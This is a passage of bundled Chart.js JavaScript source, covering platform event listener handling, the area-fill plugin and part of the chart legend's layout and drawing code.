{\n\t\t\tcanvas.style[key] = value;\n\t\t});\n\n\t\t// The canvas render size might have been changed (and thus the state stack discarded),\n\t\t// we can't use save() and restore() to restore the initial state. So make sure that at\n\t\t// least the canvas context is reset to the default state by setting the canvas width.\n\t\t// https://www.w3.org/TR/2011/WD-html5-20110525/the-canvas-element.html\n\t\tcanvas.width = canvas.width;\n\n\t\tdelete canvas[EXPANDO_KEY];\n\t},\n\n\taddEventListener: function(chart, type, listener) {\n\t\tvar canvas = chart.canvas;\n\t\tif (type === 'resize') {\n\t\t\t// Note: the resize event is not supported on all browsers.\n\t\t\taddResizeListener(canvas, listener, chart);\n\t\t\treturn;\n\t\t}\n\n\t\tvar expando = listener[EXPANDO_KEY] || (listener[EXPANDO_KEY] = {});\n\t\tvar proxies = expando.proxies || (expando.proxies = {});\n\t\tvar proxy = proxies[chart.id + '_' + type] = function(event) {\n\t\t\tlistener(fromNativeEvent(event, chart));\n\t\t};\n\n\t\taddEventListener(canvas, type, proxy);\n\t},\n\n\tremoveEventListener: function(chart, type, listener) {\n\t\tvar canvas = chart.canvas;\n\t\tif (type === 'resize') {\n\t\t\t// Note: the resize event is not supported on all browsers.\n\t\t\tremoveResizeListener(canvas, listener);\n\t\t\treturn;\n\t\t}\n\n\t\tvar expando = listener[EXPANDO_KEY] || {};\n\t\tvar proxies = expando.proxies || {};\n\t\tvar proxy = proxies[chart.id + '_' + type];\n\t\tif (!proxy) {\n\t\t\treturn;\n\t\t}\n\n\t\tremoveEventListener(canvas, type, proxy);\n\t}\n};\n\n// DEPRECATIONS\n\n/**\n * Provided for backward compatibility, use EventTarget.addEventListener instead.\n * EventTarget.addEventListener compatibility: Chrome, Opera 7, Safari, FF1.5+, IE9+\n * @see https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener\n * @function Chart.helpers.addEvent\n * @deprecated since version 2.7.0\n * @todo remove at version 3\n * @private\n */\nhelpers.addEvent = addEventListener;\n\n/**\n * Provided for backward compatibility, use EventTarget.removeEventListener instead.\n * EventTarget.removeEventListener compatibility: Chrome, Opera 7, Safari, FF1.5+, IE9+\n * @see https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener\n * @function Chart.helpers.removeEvent\n * @deprecated since version 2.7.0\n * @todo remove at version 3\n * @private\n */\nhelpers.removeEvent = removeEventListener;\n\n},{\"45\":45}],48:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(45);\nvar basic = require(46);\nvar dom = require(47);\n\n// @TODO Make possible to select another platform at build time.\nvar implementation = dom._enabled ? dom : basic;\n\n/**\n * @namespace Chart.platform\n * @see https://chartjs.gitbooks.io/proposals/content/Platform.html\n * @since 2.4.0\n */\nmodule.exports = helpers.extend({\n\t/**\n\t * @since 2.7.0\n\t */\n\tinitialize: function() {},\n\n\t/**\n\t * Called at chart construction time, returns a context2d instance implementing\n\t * the [W3C Canvas 2D Context API standard]{@link https://www.w3.org/TR/2dcontext/}.\n\t * @param {*} item - The native item from which to acquire context (platform specific)\n\t * @param {Object} options - The chart options\n\t * @returns {CanvasRenderingContext2D} context2d instance\n\t */\n\tacquireContext: function() {},\n\n\t/**\n\t * Called at chart destruction time, releases any resources associated to the context\n\t * previously returned by the acquireContext() method.\n\t * @param {CanvasRenderingContext2D} context - The context2d instance\n\t * @returns {Boolean} true if the method succeeded, else false\n\t */\n\treleaseContext: function() {},\n\n\t/**\n\t * Registers the specified listener on the given chart.\n\t * @param {Chart} chart - Chart from which to listen for event\n\t * @param {String} type - The ({@link IEvent}) type to listen for\n\t * @param {Function} listener - Receives a notification (an object that implements\n\t * the {@link IEvent} interface) when an event of the specified type occurs.\n\t */\n\taddEventListener: function() {},\n\n\t/**\n\t * Removes the specified listener previously registered with addEventListener.\n\t * @param {Chart} chart -Chart from which to remove the listener\n\t * @param {String} type - The ({@link IEvent}) type to remove\n\t * @param {Function} listener - The listener function to remove from the event target.\n\t */\n\tremoveEventListener: function() {}\n\n}, implementation);\n\n/**\n * @interface IPlatform\n * Allows abstracting platform dependencies away from the chart\n * @borrows Chart.platform.acquireContext as acquireContext\n * @borrows Chart.platform.releaseContext as releaseContext\n * @borrows Chart.platform.addEventListener as addEventListener\n * @borrows Chart.platform.removeEventListener as removeEventListener\n */\n\n/**\n * @interface IEvent\n * @prop {String} type - The event type name, possible values are:\n * 'contextmenu', 'mouseenter', 'mousedown', 'mousemove', 'mouseup', 'mouseout',\n * 'click', 'dblclick', 'keydown', 'keypress', 'keyup' and 'resize'\n * @prop {*} native - The original native event (null for emulated events, e.g. 'resize')\n * @prop {Number} x - The mouse x position, relative to the canvas (null for incompatible events)\n * @prop {Number} y - The mouse y position, relative to the canvas (null for incompatible events)\n */\n\n},{\"45\":45,\"46\":46,\"47\":47}],49:[function(require,module,exports){\n'use strict';\n\nmodule.exports = {};\nmodule.exports.filler = require(50);\nmodule.exports.legend = require(51);\nmodule.exports.title = require(52);\n\n},{\"50\":50,\"51\":51,\"52\":52}],50:[function(require,module,exports){\n/**\n * Plugin based on discussion from the following Chart.js issues:\n * @see https://github.com/chartjs/Chart.js/issues/2380#issuecomment-279961569\n * @see https://github.com/chartjs/Chart.js/issues/2440#issuecomment-256461897\n */\n\n'use strict';\n\nvar defaults = require(25);\nvar elements = require(40);\nvar helpers = require(45);\n\ndefaults._set('global', {\n\tplugins: {\n\t\tfiller: {\n\t\t\tpropagate: true\n\t\t}\n\t}\n});\n\nvar mappers = {\n\tdataset: function(source) {\n\t\tvar index = source.fill;\n\t\tvar chart = source.chart;\n\t\tvar meta = chart.getDatasetMeta(index);\n\t\tvar visible = meta && chart.isDatasetVisible(index);\n\t\tvar points = (visible && meta.dataset._children) || [];\n\t\tvar length = points.length || 0;\n\n\t\treturn !length ? null : function(point, i) {\n\t\t\treturn (i < length && points[i]._view) || null;\n\t\t};\n\t},\n\n\tboundary: function(source) {\n\t\tvar boundary = source.boundary;\n\t\tvar x = boundary ? boundary.x : null;\n\t\tvar y = boundary ? boundary.y : null;\n\n\t\treturn function(point) {\n\t\t\treturn {\n\t\t\t\tx: x === null ? point.x : x,\n\t\t\t\ty: y === null ? point.y : y,\n\t\t\t};\n\t\t};\n\t}\n};\n\n// @todo if (fill[0] === '#')\nfunction decodeFill(el, index, count) {\n\tvar model = el._model || {};\n\tvar fill = model.fill;\n\tvar target;\n\n\tif (fill === undefined) {\n\t\tfill = !!model.backgroundColor;\n\t}\n\n\tif (fill === false || fill === null) {\n\t\treturn false;\n\t}\n\n\tif (fill === true) {\n\t\treturn 'origin';\n\t}\n\n\ttarget = parseFloat(fill, 10);\n\tif (isFinite(target) && Math.floor(target) === target) {\n\t\tif (fill[0] === '-' || fill[0] === '+') {\n\t\t\ttarget = index + target;\n\t\t}\n\n\t\tif (target === index || target < 0 || target >= count) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn target;\n\t}\n\n\tswitch (fill) {\n\t// compatibility\n\tcase 'bottom':\n\t\treturn 'start';\n\tcase 'top':\n\t\treturn 'end';\n\tcase 'zero':\n\t\treturn 'origin';\n\t// supported boundaries\n\tcase 'origin':\n\tcase 'start':\n\tcase 'end':\n\t\treturn fill;\n\t// invalid fill values\n\tdefault:\n\t\treturn false;\n\t}\n}\n\nfunction computeBoundary(source) {\n\tvar model = source.el._model || {};\n\tvar scale = source.el._scale || {};\n\tvar fill = source.fill;\n\tvar target = null;\n\tvar horizontal;\n\n\tif (isFinite(fill)) {\n\t\treturn null;\n\t}\n\n\t// Backward compatibility: until v3, we still need to support boundary values set on\n\t// the model (scaleTop, scaleBottom and scaleZero) because some external plugins and\n\t// controllers might still use it (e.g. the Smith chart).\n\n\tif (fill === 'start') {\n\t\ttarget = model.scaleBottom === undefined ? scale.bottom : model.scaleBottom;\n\t} else if (fill === 'end') {\n\t\ttarget = model.scaleTop === undefined ? scale.top : model.scaleTop;\n\t} else if (model.scaleZero !== undefined) {\n\t\ttarget = model.scaleZero;\n\t} else if (scale.getBasePosition) {\n\t\ttarget = scale.getBasePosition();\n\t} else if (scale.getBasePixel) {\n\t\ttarget = scale.getBasePixel();\n\t}\n\n\tif (target !== undefined && target !== null) {\n\t\tif (target.x !== undefined && target.y !== undefined) {\n\t\t\treturn target;\n\t\t}\n\n\t\tif (typeof target === 'number' && isFinite(target)) {\n\t\t\thorizontal = scale.isHorizontal();\n\t\t\treturn {\n\t\t\t\tx: horizontal ? target : null,\n\t\t\t\ty: horizontal ? null : target\n\t\t\t};\n\t\t}\n\t}\n\n\treturn null;\n}\n\nfunction resolveTarget(sources, index, propagate) {\n\tvar source = sources[index];\n\tvar fill = source.fill;\n\tvar visited = [index];\n\tvar target;\n\n\tif (!propagate) {\n\t\treturn fill;\n\t}\n\n\twhile (fill !== false && visited.indexOf(fill) === -1) {\n\t\tif (!isFinite(fill)) {\n\t\t\treturn fill;\n\t\t}\n\n\t\ttarget = sources[fill];\n\t\tif (!target) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif (target.visible) {\n\t\t\treturn fill;\n\t\t}\n\n\t\tvisited.push(fill);\n\t\tfill = target.fill;\n\t}\n\n\treturn false;\n}\n\nfunction createMapper(source) {\n\tvar fill = source.fill;\n\tvar type = 'dataset';\n\n\tif (fill === false) {\n\t\treturn null;\n\t}\n\n\tif (!isFinite(fill)) {\n\t\ttype = 'boundary';\n\t}\n\n\treturn mappers[type](source);\n}\n\nfunction isDrawable(point) {\n\treturn point && !point.skip;\n}\n\nfunction drawArea(ctx, curve0, curve1, len0, len1) {\n\tvar i;\n\n\tif (!len0 || !len1) {\n\t\treturn;\n\t}\n\n\t// building first area curve (normal)\n\tctx.moveTo(curve0[0].x, curve0[0].y);\n\tfor (i = 1; i < len0; ++i) {\n\t\thelpers.canvas.lineTo(ctx, curve0[i - 1], curve0[i]);\n\t}\n\n\t// joining the two area curves\n\tctx.lineTo(curve1[len1 - 1].x, curve1[len1 - 1].y);\n\n\t// building opposite area curve (reverse)\n\tfor (i = len1 - 1; i > 0; --i) {\n\t\thelpers.canvas.lineTo(ctx, curve1[i], curve1[i - 1], true);\n\t}\n}\n\nfunction doFill(ctx, points, mapper, view, color, loop) {\n\tvar count = points.length;\n\tvar span = view.spanGaps;\n\tvar curve0 = [];\n\tvar curve1 = [];\n\tvar len0 = 0;\n\tvar len1 = 0;\n\tvar i, ilen, index, p0, p1, d0, d1;\n\n\tctx.beginPath();\n\n\tfor (i = 0, ilen = (count + !!loop); i < ilen; ++i) {\n\t\tindex = i % count;\n\t\tp0 = points[index]._view;\n\t\tp1 = mapper(p0, index, view);\n\t\td0 = isDrawable(p0);\n\t\td1 = isDrawable(p1);\n\n\t\tif (d0 && d1) {\n\t\t\tlen0 = curve0.push(p0);\n\t\t\tlen1 = curve1.push(p1);\n\t\t} else if (len0 && len1) {\n\t\t\tif (!span) {\n\t\t\t\tdrawArea(ctx, curve0, curve1, len0, len1);\n\t\t\t\tlen0 = len1 = 0;\n\t\t\t\tcurve0 = [];\n\t\t\t\tcurve1 = [];\n\t\t\t} else {\n\t\t\t\tif (d0) {\n\t\t\t\t\tcurve0.push(p0);\n\t\t\t\t}\n\t\t\t\tif (d1) {\n\t\t\t\t\tcurve1.push(p1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tdrawArea(ctx, curve0, curve1, len0, len1);\n\n\tctx.closePath();\n\tctx.fillStyle = color;\n\tctx.fill();\n}\n\nmodule.exports = {\n\tid: 'filler',\n\n\tafterDatasetsUpdate: function(chart, options) {\n\t\tvar count = (chart.data.datasets || []).length;\n\t\tvar propagate = options.propagate;\n\t\tvar sources = [];\n\t\tvar meta, i, el, source;\n\n\t\tfor (i = 0; i < count; ++i) {\n\t\t\tmeta = chart.getDatasetMeta(i);\n\t\t\tel = meta.dataset;\n\t\t\tsource = null;\n\n\t\t\tif (el && el._model && el instanceof elements.Line) {\n\t\t\t\tsource = {\n\t\t\t\t\tvisible: chart.isDatasetVisible(i),\n\t\t\t\t\tfill: decodeFill(el, i, count),\n\t\t\t\t\tchart: chart,\n\t\t\t\t\tel: el\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tmeta.$filler = source;\n\t\t\tsources.push(source);\n\t\t}\n\n\t\tfor (i = 0; i < count; ++i) {\n\t\t\tsource = sources[i];\n\t\t\tif (!source) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tsource.fill = resolveTarget(sources, i, propagate);\n\t\t\tsource.boundary = computeBoundary(source);\n\t\t\tsource.mapper = createMapper(source);\n\t\t}\n\t},\n\n\tbeforeDatasetDraw: function(chart, args) {\n\t\tvar meta = args.meta.$filler;\n\t\tif (!meta) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar ctx = chart.ctx;\n\t\tvar el = meta.el;\n\t\tvar view = el._view;\n\t\tvar points = el._children || [];\n\t\tvar mapper = meta.mapper;\n\t\tvar color = view.backgroundColor || defaults.global.defaultColor;\n\n\t\tif (mapper && color && points.length) {\n\t\t\thelpers.canvas.clipArea(ctx, chart.chartArea);\n\t\t\tdoFill(ctx, points, mapper, view, color, el._loop);\n\t\t\thelpers.canvas.unclipArea(ctx);\n\t\t}\n\t}\n};\n\n},{\"25\":25,\"40\":40,\"45\":45}],51:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\nvar helpers = require(45);\nvar layouts = require(30);\n\nvar noop = helpers.noop;\n\ndefaults._set('global', {\n\tlegend: {\n\t\tdisplay: true,\n\t\tposition: 'top',\n\t\tfullWidth: true,\n\t\treverse: false,\n\t\tweight: 1000,\n\n\t\t// a callback that will handle\n\t\tonClick: function(e, legendItem) {\n\t\t\tvar index = legendItem.datasetIndex;\n\t\t\tvar ci = this.chart;\n\t\t\tvar meta = ci.getDatasetMeta(index);\n\n\t\t\t// See controller.isDatasetVisible comment\n\t\t\tmeta.hidden = meta.hidden === null ? !ci.data.datasets[index].hidden : null;\n\n\t\t\t// We hid a dataset ... rerender the chart\n\t\t\tci.update();\n\t\t},\n\n\t\tonHover: null,\n\n\t\tlabels: {\n\t\t\tboxWidth: 40,\n\t\t\tpadding: 10,\n\t\t\t// Generates labels shown in the legend\n\t\t\t// Valid properties to return:\n\t\t\t// text : text to display\n\t\t\t// fillStyle : fill of coloured box\n\t\t\t// strokeStyle: stroke of coloured box\n\t\t\t// hidden : if this legend item refers to a hidden item\n\t\t\t// lineCap : cap style for line\n\t\t\t// lineDash\n\t\t\t// lineDashOffset :\n\t\t\t// lineJoin :\n\t\t\t// lineWidth :\n\t\t\tgenerateLabels: function(chart) {\n\t\t\t\tvar data = chart.data;\n\t\t\t\treturn helpers.isArray(data.datasets) ? data.datasets.map(function(dataset, i) {\n\t\t\t\t\treturn {\n\t\t\t\t\t\ttext: dataset.label,\n\t\t\t\t\t\tfillStyle: (!helpers.isArray(dataset.backgroundColor) ? dataset.backgroundColor : dataset.backgroundColor[0]),\n\t\t\t\t\t\thidden: !chart.isDatasetVisible(i),\n\t\t\t\t\t\tlineCap: dataset.borderCapStyle,\n\t\t\t\t\t\tlineDash: dataset.borderDash,\n\t\t\t\t\t\tlineDashOffset: dataset.borderDashOffset,\n\t\t\t\t\t\tlineJoin: dataset.borderJoinStyle,\n\t\t\t\t\t\tlineWidth: dataset.borderWidth,\n\t\t\t\t\t\tstrokeStyle: dataset.borderColor,\n\t\t\t\t\t\tpointStyle: dataset.pointStyle,\n\n\t\t\t\t\t\t// Below is extra data used for toggling the datasets\n\t\t\t\t\t\tdatasetIndex: i\n\t\t\t\t\t};\n\t\t\t\t}, this) : [];\n\t\t\t}\n\t\t}\n\t},\n\n\tlegendCallback: function(chart) {\n\t\tvar text = [];\n\t\ttext.push('<ul class=\"' + chart.id + '-legend\">');\n\t\tfor (var i = 0; i < chart.data.datasets.length; i++) {\n\t\t\ttext.push('<li><span style=\"background-color:' + chart.data.datasets[i].backgroundColor + '\"></span>');\n\t\t\tif (chart.data.datasets[i].label) {\n\t\t\t\ttext.push(chart.data.datasets[i].label);\n\t\t\t}\n\t\t\ttext.push('</li>');\n\t\t}\n\t\ttext.push('</ul>');\n\t\treturn text.join('');\n\t}\n});\n\n/**\n * Helper function to get the box width based on the usePointStyle option\n * @param labelopts {Object} the label options on the legend\n * @param fontSize {Number} the label font size\n * @return {Number} width of the color box area\n */\nfunction getBoxWidth(labelOpts, fontSize) {\n\treturn labelOpts.usePointStyle ?\n\t\tfontSize * Math.SQRT2 :\n\t\tlabelOpts.boxWidth;\n}\n\n/**\n * IMPORTANT: this class is exposed publicly as Chart.Legend, backward compatibility required!\n */\nvar Legend = Element.extend({\n\n\tinitialize: function(config) {\n\t\thelpers.extend(this, config);\n\n\t\t// Contains hit boxes for each dataset (in dataset order)\n\t\tthis.legendHitBoxes = [];\n\n\t\t// Are we in doughnut mode which has a different data type\n\t\tthis.doughnutMode = false;\n\t},\n\n\t// These methods are ordered by lifecycle. Utilities then follow.\n\t// Any function defined here is inherited by all legend types.\n\t// Any function can be extended by the legend type\n\n\tbeforeUpdate: noop,\n\tupdate: function(maxWidth, maxHeight, margins) {\n\t\tvar me = this;\n\n\t\t// Update Lifecycle - Probably don't want to ever extend or overwrite this function ;)\n\t\tme.beforeUpdate();\n\n\t\t// Absorb the master measurements\n\t\tme.maxWidth = maxWidth;\n\t\tme.maxHeight = maxHeight;\n\t\tme.margins = margins;\n\n\t\t// Dimensions\n\t\tme.beforeSetDimensions();\n\t\tme.setDimensions();\n\t\tme.afterSetDimensions();\n\t\t// Labels\n\t\tme.beforeBuildLabels();\n\t\tme.buildLabels();\n\t\tme.afterBuildLabels();\n\n\t\t// Fit\n\t\tme.beforeFit();\n\t\tme.fit();\n\t\tme.afterFit();\n\t\t//\n\t\tme.afterUpdate();\n\n\t\treturn me.minSize;\n\t},\n\tafterUpdate: noop,\n\n\t//\n\n\tbeforeSetDimensions: noop,\n\tsetDimensions: function() {\n\t\tvar me = this;\n\t\t// Set the unconstrained dimension before label rotation\n\t\tif (me.isHorizontal()) {\n\t\t\t// Reset position before calculating rotation\n\t\t\tme.width = me.maxWidth;\n\t\t\tme.left = 0;\n\t\t\tme.right = me.width;\n\t\t} else {\n\t\t\tme.height = me.maxHeight;\n\n\t\t\t// Reset position before calculating rotation\n\t\t\tme.top = 0;\n\t\t\tme.bottom = me.height;\n\t\t}\n\n\t\t// Reset padding\n\t\tme.paddingLeft = 0;\n\t\tme.paddingTop = 0;\n\t\tme.paddingRight = 0;\n\t\tme.paddingBottom = 0;\n\n\t\t// Reset minSize\n\t\tme.minSize = {\n\t\t\twidth: 0,\n\t\t\theight: 0\n\t\t};\n\t},\n\tafterSetDimensions: noop,\n\n\t//\n\n\tbeforeBuildLabels: noop,\n\tbuildLabels: function() {\n\t\tvar me = this;\n\t\tvar labelOpts = me.options.labels || {};\n\t\tvar legendItems = helpers.callback(labelOpts.generateLabels, [me.chart], me) || [];\n\n\t\tif (labelOpts.filter) {\n\t\t\tlegendItems = legendItems.filter(function(item) {\n\t\t\t\treturn labelOpts.filter(item, me.chart.data);\n\t\t\t});\n\t\t}\n\n\t\tif (me.options.reverse) {\n\t\t\tlegendItems.reverse();\n\t\t}\n\n\t\tme.legendItems = legendItems;\n\t},\n\tafterBuildLabels: noop,\n\n\t//\n\n\tbeforeFit: noop,\n\tfit: function() {\n\t\tvar me = this;\n\t\tvar opts = me.options;\n\t\tvar labelOpts = opts.labels;\n\t\tvar display = opts.display;\n\n\t\tvar ctx = me.ctx;\n\n\t\tvar globalDefault = defaults.global;\n\t\tvar valueOrDefault = helpers.valueOrDefault;\n\t\tvar fontSize = valueOrDefault(labelOpts.fontSize, globalDefault.defaultFontSize);\n\t\tvar fontStyle = valueOrDefault(labelOpts.fontStyle, globalDefault.defaultFontStyle);\n\t\tvar fontFamily = valueOrDefault(labelOpts.fontFamily, globalDefault.defaultFontFamily);\n\t\tvar labelFont = helpers.fontString(fontSize, fontStyle, fontFamily);\n\n\t\t// Reset hit boxes\n\t\tvar hitboxes = me.legendHitBoxes = [];\n\n\t\tvar minSize = me.minSize;\n\t\tvar isHorizontal = me.isHorizontal();\n\n\t\tif (isHorizontal) {\n\t\t\tminSize.width = me.maxWidth; // fill all the width\n\t\t\tminSize.height = display ? 10 : 0;\n\t\t} else {\n\t\t\tminSize.width = display ? 10 : 0;\n\t\t\tminSize.height = me.maxHeight; // fill all the height\n\t\t}\n\n\t\t// Increase sizes here\n\t\tif (display) {\n\t\t\tctx.font = labelFont;\n\n\t\t\tif (isHorizontal) {\n\t\t\t\t// Labels\n\n\t\t\t\t// Width of each line of legend boxes. Labels wrap onto multiple lines when there are too many to fit on one\n\t\t\t\tvar lineWidths = me.lineWidths = [0];\n\t\t\t\tvar totalHeight = me.legendItems.length ? fontSize + (labelOpts.padding) : 0;\n\n\t\t\t\tctx.textAlign = 'left';\n\t\t\t\tctx.textBaseline = 'top';\n\n\t\t\t\thelpers.each(me.legendItems, function(legendItem, i) {\n\t\t\t\t\tvar boxWidth = getBoxWidth(labelOpts, fontSize);\n\t\t\t\t\tvar width = boxWidth + (fontSize / 2) + ctx.measureText(legendItem.text).width;\n\n\t\t\t\t\tif (lineWidths[lineWidths.length - 1] + width + labelOpts.padding >= me.width) {\n\t\t\t\t\t\ttotalHeight += fontSize + (labelOpts.padding);\n\t\t\t\t\t\tlineWidths[lineWidths.length] = me.left;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Store the hitbox width and height here. Final position will be updated in `draw`\n\t\t\t\t\thitboxes[i] = {\n\t\t\t\t\t\tleft: 0,\n\t\t\t\t\t\ttop: 0,\n\t\t\t\t\t\twidth: width,\n\t\t\t\t\t\theight: fontSize\n\t\t\t\t\t};\n\n\t\t\t\t\tlineWidths[lineWidths.length - 1] += width + labelOpts.padding;\n\t\t\t\t});\n\n\t\t\t\tminSize.height += totalHeight;\n\n\t\t\t} else {\n\t\t\t\tvar vPadding = labelOpts.padding;\n\t\t\t\tvar columnWidths = me.columnWidths = [];\n\t\t\t\tvar totalWidth = labelOpts.padding;\n\t\t\t\tvar currentColWidth = 0;\n\t\t\t\tvar currentColHeight = 0;\n\t\t\t\tvar itemHeight = fontSize + vPadding;\n\n\t\t\t\thelpers.each(me.legendItems, function(legendItem, i) {\n\t\t\t\t\tvar boxWidth = getBoxWidth(labelOpts, fontSize);\n\t\t\t\t\tvar itemWidth = boxWidth + (fontSize / 2) + ctx.measureText(legendItem.text).width;\n\n\t\t\t\t\t// If too tall, go to new column\n\t\t\t\t\tif (currentColHeight + itemHeight > minSize.height) {\n\t\t\t\t\t\ttotalWidth += currentColWidth + labelOpts.padding;\n\t\t\t\t\t\tcolumnWidths.push(currentColWidth); // previous column width\n\n\t\t\t\t\t\tcurrentColWidth = 0;\n\t\t\t\t\t\tcurrentColHeight = 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Get max width\n\t\t\t\t\tcurrentColWidth = Math.max(currentColWidth, itemWidth);\n\t\t\t\t\tcurrentColHeight += itemHeight;\n\n\t\t\t\t\t// Store the hitbox width and height here. Final position will be updated in `draw`\n\t\t\t\t\thitboxes[i] = {\n\t\t\t\t\t\tleft: 0,\n\t\t\t\t\t\ttop: 0,\n\t\t\t\t\t\twidth: itemWidth,\n\t\t\t\t\t\theight: fontSize\n\t\t\t\t\t};\n\t\t\t\t});\n\n\t\t\t\ttotalWidth += currentColWidth;\n\t\t\t\tcolumnWidths.push(currentColWidth);\n\t\t\t\tminSize.width += totalWidth;\n\t\t\t}\n\t\t}\n\n\t\tme.width = minSize.width;\n\t\tme.height = minSize.height;\n\t},\n\tafterFit: noop,\n\n\t// Shared Methods\n\tisHorizontal: function() {\n\t\treturn this.options.position === 'top' || this.options.position === 'bottom';\n\t},\n\n\t// Actually draw the legend on the canvas\n\tdraw: function() {\n\t\tvar me = this;\n\t\tvar opts = me.options;\n\t\tvar labelOpts = opts.labels;\n\t\tvar globalDefault = defaults.global;\n\t\tvar lineDefault = globalDefault.elements.line;\n\t\tvar legendWidth = me.width;\n\t\tvar lineWidths = me.lineWidths;\n\n\t\tif (opts.display) {\n\t\t\tvar ctx = me.ctx;\n\t\t\tvar valueOrDefault = helpers.valueOrDefault;\n\t\t\tvar fontColor = valueOrDefault(labelOpts.fontColor, globalDefault.defaultFontColor);\n\t\t\tvar fontSize = valueOrDefault(labelOpts.fontSize, globalDefault.defaultFontSize);\n\t\t\tvar fontStyle = valueOrDefault(labelOpts.fontStyle, globalDefault.defaultFontStyle);\n\t\t\tvar fontFamily = valueOrDefault(labelOpts.fontFamily, globalDefault.defaultFontFamily);\n\t\t\tvar labelFont = helpers.fontString(fontSize, fontStyle, fontFamily);\n\t\t\tvar cursor;\n\n\t\t\t// Canvas setup\n\t\t\tctx.textAlign = 'left';\n\t\t\tctx.textBaseline = 'middle';\n\t\t\tctx.lineWidth = 0.5;\n\t\t\tctx.strokeStyle = fontColor; // for strikethrough effect\n\t\t\tctx.fillStyle = fontColor; // render in correct colour\n\t\t\tctx.font = labelFont;\n\n\t\t\tvar boxWidth = getBoxWidth(labelOpts, fontSize);\n\t\t\tvar hitboxes = me.legendHitBoxes;\n\n\t\t\t// current position\n\t\t\tvar drawLegendBox = function(x, y, legendItem) {\n\t\t\t\tif (isNaN(boxWidth) || boxWidth <= 0) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t// Set the ctx for the box\n\t\t\t\tctx.save();\n\n\t\t\t\tctx.fillStyle = valueOrDefault(legendItem.fillStyle, globalDefault.defaultColor);\n\t\t\t\tctx.lineCap = valueOrDefault(legendItem.lineCap, lineDefault.borderCapStyle);\n\t\t\t\tctx.lineDashOffset = valueOrDefault(legendItem.lineDashOffset, lineDefault.borderDashOffset);\n\t\t\t\tctx.lineJoin = valueOrDefault(legendItem.lineJoin, lineDefault.borderJoinStyle);\n\t\t\t\tctx.lineWidth = valueOrDefault(legendItem.lineWidth, lineDefault.borderWidth);\n\t\t\t\tctx.strokeStyle = valueOrDefault(legendItem.strokeStyle, globalDefault.defaultColor);\n\t\t\t\tvar isLineWidthZero = (valueOrDefault(legendItem.lineWidth, lineDefault.borderWidth) === 0);\n\n\t\t\t\tif (ctx.setLineDash) {\n\t\t\t\t\t// IE 9 and 10 do not support line dash\n\t\t\t\t\tctx.setLineDash(valueOrDefault(legendItem.lineDash, lineDefault.borderDash));\n\t\t\t\t}\n\n\t\t\t\tif (opts.labels && opts.labels.usePointStyle) {\n\t\t\t\t\t// Recalculate x and y for drawPoint() because its expecting\n\t\t\t\t\t// x and y to be center of figure (instead of top left)\n\t\t\t\t\tvar radius = fontSize * Math.SQRT2 / 2;\n\t\t\t\t\tvar offSet = radius / Math.SQRT2;\n\t\t\t\t\tvar centerX = x + offSet;\n\t\t\t\t\tvar centerY = y + offSet;\n\n\t\t\t\t\t// Draw pointStyle as legend symbol\n\t\t\t\t\thelpers.canvas.drawPoint(ctx, legendItem.pointStyle, radius, centerX, centerY);\n\t\t\t\t} else {\n\t\t\t\t\t// Draw box as legend symbol\n\t\t\t\t\tif (!isLineWidthZero) {\n\t\t\t\t\t\tctx.strokeRect(x, y, boxWidth, fontSize);\n\t\t\t\t\t}\n\t\t\t\t\tctx.fillRect(x, y, boxWidth, fontSize);\n\t\t\t\t}\n\n\t\t\t\tctx.restore();\n\t\t\t};\n\t\t\tvar fillText = function(x, y, legendItem, textWidth) {\n\t\t\t\tvar halfFontSize = fontSize / 2;\n\t\t\t\tvar xLeft = boxWidth + halfFontSize + x;\n\t\t\t\tvar yMiddle = y + halfFontSize;\n\n\t\t\t\tctx.fillText(legendItem.text, xLeft, yMiddle);\n\n\t\t\t\tif (legendItem.hidden) {\n\t\t\t\t\t// Strikethrough the text if hidden\n\t\t\t\t\tctx.beginPath();\n\t\t\t\t\tctx.lineWidth = 2;\n\t\t\t\t\tctx.moveTo(xLeft, yMiddle);\n\t\t\t\t\tctx.lineTo(xLeft + textWidth, yMiddle);\n\t\t\t\t\tctx.stroke();\n\t\t\t\t}\n\t\t\t};\n\n\t\t\t// Horizontal\n\t\t\tvar isHorizontal = me.isHorizontal();\n\t\t\tif (isHorizontal) {\n\t\t\t\tcursor = {\n\t\t\t\t\tx: me.left + ((legendWidth - lineWidths[0]) / 2),\n\t\t\t\t\ty: me.top + labelOpts.padding,\n\t\t\t\t\tline: 0\n\t\t\t\t};\n\t\t\t} else {\n\t\t\t\tcursor = {\n\t\t\t\t\tx: me.left + labelOpts.padding,\n\t\t\t\t\ty: me.top + labelOpts.padding,\n\t\t\t\t\tline: 0\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tvar itemHeight = fontSize + labelOpts.padding;\n\t\t\thelpers.each(me.legendItems, function(legendItem, i) {\n\t\t\t\tvar textWidth = ctx.measureText(legendItem.text).width;\n\t\t\t\tvar width = boxWidth + (fontSize / 2) + textWidth;\n\t\t\t\tvar x = cursor.x;\n\t\t\t\tvar y = cursor.y;\n\n\t\t\t\tif (isHorizontal) {\n\t\t\t\t\tif (x + width >= legendWidth) {\n\t\t\t\t\t\ty = cursor.y += itemHeight;\n\t\t\t\t\t\tcursor.line++;\n\t\t\t\t\t\tx = cursor.x = me.left + ((legendWidth - lineWidths[cursor.line]) / 2);\n\t\t\t\t\t}\n\t\t\t\t} else if (y + itemHeight > me.bottom) {\n\t\t\t\t\tx = cursor.x = x + me.columnWidths[cursor.line] + labelOpts.padding;\n\t\t\t\t\ty = cursor.y = me.top + labelOpts.padding;\n\t\t\t\t\tcursor.line++;\n\t\t\t\t}\n\n\t\t\t\tdrawLegendBox(x, y, legendItem);\n\n\t\t\t\thitboxes[i].left = x;\n\t\t\t\thitboxes[i].top = y;\n\n\t\t\t\t// Fill the actual label\n\t\t\t\tfillText(x, y, legendItem, textWidth);\n\n\t\t\t\tif (isHorizontal) 